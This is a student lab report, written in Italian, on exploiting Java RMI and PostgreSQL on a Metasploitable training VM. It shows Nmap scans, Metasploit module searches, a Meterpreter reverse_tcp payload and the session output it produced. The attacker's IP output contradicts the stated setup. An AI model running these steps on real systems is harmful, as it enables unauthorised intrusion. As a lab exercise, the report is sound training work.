



ANDREA
FALIERO

RELAZIONE PROGETTO



TRACCIA

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.75.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.75.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 1. configurazione di rete.
 2. informazioni sulla tabella di routing della macchina vittima.

CMABIO IP

Prima di iniziare l'attacco, è necessario configurare correttamente l'ambiente. Assicurarsi che entrambe le macchine siano nella stessa rete e possano comunicare tra loro.

```
(kali㉿kali)-[~] $ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1e:36:4a brd ff:ff:ff:ff:ff:ff
    inet 192.168.75.112/24 brd 192.168.75.255 scope global noprefixroute eth0 ←
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe1e:364a/64 scope link proto kernel_ll
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:c0:d9:27 brd ff:ff:ff:ff:ff:ff
    inet 10.0.3.15/24 brd 10.0.3.255 scope global dynamic noprefixroute eth1
        valid_lft 85760sec preferred_lft 85760sec
    inet6 fe80::6fac:bea1:49b8:db/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

CAMBIO IP KALI

```
(kali㉿kali)-[~] $ ping -c4 192.168.75.112
PING 192.168.75.112 (192.168.75.112) 56(84) bytes of data.
64 bytes from 192.168.75.112: icmp_seq=1 ttl=64 time=6.69 ms
64 bytes from 192.168.75.112: icmp_seq=2 ttl=64 time=19.3 ms
64 bytes from 192.168.75.112: icmp_seq=3 ttl=64 time=16.1 ms
64 bytes from 192.168.75.112: icmp_seq=4 ttl=64 time=65.1 ms

--- 192.168.75.112 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3096ms
rtt min/avg/max/mdev = 6.689/26.795/65.053/22.569 ms
```

PING KALI-META

```
admin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:e2:f1:6c brd ff:ff:ff:ff:ff:ff
    inet 192.168.75.112/24 brd 192.168.75.255 scope global eth0 ←
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fee2:f16c/64 scope link
        valid_lft forever preferred_lft forever
```

CAMBIO IP META

PORTA 1099

Con Nmap ho trovato tutti i servizi in esecuzione sulla macchina vittima

```
22/tcp  open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp  open  telnet    Linux telnetd
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp  open  domain   ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp  open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp open  rpcbind  2 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100000  2          111/tcp    rpcbind
|   100000  2          111/udp    rpcbind
|   100003  2,3,4     2049/tcp   nfs
|   100003  2,3,4     2049/udp   nfs
|   100005  1,2,3     34473/udp  mountd
|   100005  1,2,3     59145/tcp   mountd
|   100021  1,3,4     37062/udp  nlockmgr
|   100021  1,3,4     55240/tcp   nlockmgr
|   100024  1          43450/udp  status
|_ 100024  1          52966/tcp   status
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open  exec     netkit-rsh rexecd
513/tcp open  login?
1099/tcp open  java-rmi  GNU Classpath grmiregistry
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Ho quindi trovato che la porta 1099 era aperta con il servizio java-rmi.

MSF CONOLE

Tramite l'uso di msfconsole ho ricercato un exploit che potesse andare bene per il servizio trovato su quella porta.

Matching Modules					
#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkininstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkininstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
4	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation
7	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution
8	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
9	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI RMI Java Deserialization Vulnerability
10	exploit/linux/http/kibana_timelion_prototype_pollution_rce	2019-10-30	manual	Yes	Kibana Timelion Prototype Pollution RCE
11	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
12	exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315	2023-05-26	excellent	Yes	Openfire authentication bypass with RCE plugin
13	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	PyTorch Model Server Registration and Deserialization RCE
14	exploit/multi/http/totaljs_cms_widget_exec	2019-08-30	excellent	Yes	Total.js CMS 12 Widget JavaScript Code Injection
15	exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter vScalation Priv Esc

Ho scelto l'exploit in figura dato che è un exploit spesso usato per attaccare server RMI vulnerabili, e soprattutto perché avendo fatto anche altri test è l'unico funzionante per arrivare ad avere una sessione meterpreter.

METERPRETER

Ottenendo una sessione meterpreter ho raccolto le seguenti evidenze sulla macchina remota usando **ifconfig** per verificare l'IP della macchina target.

Mentre **route** l'ho usato per trovare le tabelle di routing della macchina bersaglio.

IPv4 network routes				
Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.75.112	255.255.255.0	0.0.0.0		
IPv6 network routes				
Subnet	Netmask	Gateway	Metric	Interface
:: 1	::	::		

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo
Hardware MAC : 00:00:00:00:00:00
MTU       : 16436
Flags     : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
=====
Name      : eth0
Hardware MAC : 08:00:27:e2:f1:6c
MTU       : 1500
Flags     : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.75.112 ←
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fee2:f16c
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

POSTGRESQL

Come per il servizio precedente ho usato Nmap per scansire le porte aperte ed i loro servizi. in questo caso ho trovato il servizio PostgreSQL attivo sulla porta 5432, anch'essa aperta.

```
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec       netkit-rsh rexecd
513/tcp  open  login?
1099/tcp open  java-rmi   GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs        2-4 (RPC #100003)
2121/tcp open  ftp        ProFTPD 1.3.1
3306/tcp open  mysql      MySQL 5.0.51a-3ubuntu5
| mysql-info:
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 9
|   Capabilities flags: 43564
|   Some Capabilities: ConnectWithDatabase, Support41Auth, SupportsCompression, LongColumnFlag, SwitchTo
|   Status: Autocommit
|_ Salt: :>fgTNjJpx-omT=rGN0B
3632/tcp open  distccd    distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2024-07-09T16:00:53+00:00; -2d16h26m03s from scanner time.
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=11
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -2d15h06m03s, deviation: 2h18m33s, median: -2d16h26m03s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
```

MSF CONSOLE

tramite l'uso del comando msfconsole ho ricercato l'exploit più affine e corretto da usare con questo servizio.

```
Matching Modules
=====
#  Name
0 auxiliary/server/capture/postgresql
1 post/linux/gather/enum_users_history
2 exploit/multi/http/manage_engine_dc_pmp_sqli
3 exploit/windows/misc/manageengine_eventlog_analyzer_rce
4 auxiliary/admin/http/manageengine_pmp_privesc
5 auxiliary/analyze/crack_databases
6 exploit/multi/postgres/postgres_copy_from_program_cmd_exec
7 exploit/multi/postgres/postgres_createlang
8 auxiliary/scanner/postgres/postgres_dbname_flag_injection
9 auxiliary/scanner/postgres/postgres_login
10 auxiliary/admin/postgres/postgres_readfile
11 auxiliary/admin/postgres/postgres_sql
12 auxiliary/scanner/postgres/postgres_version
13 exploit/linux/postgres/postgres_payload
14 exploit/windows/postgres/postgres_payload
15 auxiliary/scanner/postgres/postgres_hashdump
16 auxiliary/scanner/postgres/postgres_schemadump
17 auxiliary/admin/http/rails_devise_pass_reset
18 exploit/multi/http/rudder_server_sqli_rce
19 post/linux/gather/vcenter_secrets_dump

Disclosure Date Rank Check Description
-----|----|----|----|-----
2014-06-08 normal No Authentication Capture: pos
2015-07-11 manual Yes ManageEngine EventLog Analy
2014-11-08 normal Yes ManageEngine Password Manag
normal No Password Cracker: Databases
2019-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM
2016-01-01 good Yes PostgreSQL CREATE LANGUAGE
normal No PostgreSQL Database Name Co
normal No PostgreSQL Login Utility
normal No PostgreSQL Server Generic Q
normal No PostgreSQL Server Generic Q
normal No PostgreSQL Version Probe
2007-06-05 excellent Yes PostgreSQL for Linux Payloa
2009-04-10 excellent Yes PostgreSQL for Microsoft Wi
normal No Postgres Password Hashdump
normal No Postgres Schema Dump
2013-01-28 normal No Ruby on Rails Devise Authen
2023-06-16 excellent Yes Rudder Server SQLI Remote C
normal No VMware vCenter Secrets Dump

Interact with a module by name or index. For example info 19, use 19 or use post/linux/gather/vcenter_secrets_dump
msf6 > use 13
[*] Using configured payload linux/x86/meterpreter/reverse_tcp ←
msf6 exploit(linux/postgres/postgres_payload) > █
```

ho usato questo exploit poiché era quello più adatto alla richiesta della traccia, ho cambiato le varie opzioni come RHOST e come payload ho usato il payload di default dell'exploit. questo mi ha permesso di avere anche qua una sessione meterpreter in cui ho cercato le stesse evidenze della porta di prima.

```
meterpreter > route
IPv4 network routes
=====
Subnet          Netmask        Gateway      Metric  Interface
-----|-----|-----|-----|-----|
127.0.0.1      255.0.0.0    0.0.0.0    0.0.0.0
192.168.75.112 255.255.255.0 0.0.0.0    0.0.0.0 ←

IPv6 network routes
=====
Subnet          Netmask        Gateway      Metric  Interface
-----|-----|-----|-----|-----|
::1            ::             ::          ::       ::

meterpreter > █
```

CONCLUSIONI

L'esercizio ha dimostrato con successo la capacità di ottenere una sessione remota Meterpreter sulla macchina vittima e di raccogliere le informazioni richieste. Le informazioni raccolte includono la configurazione di rete e la tabella di routing della macchina vittima, come richiesto.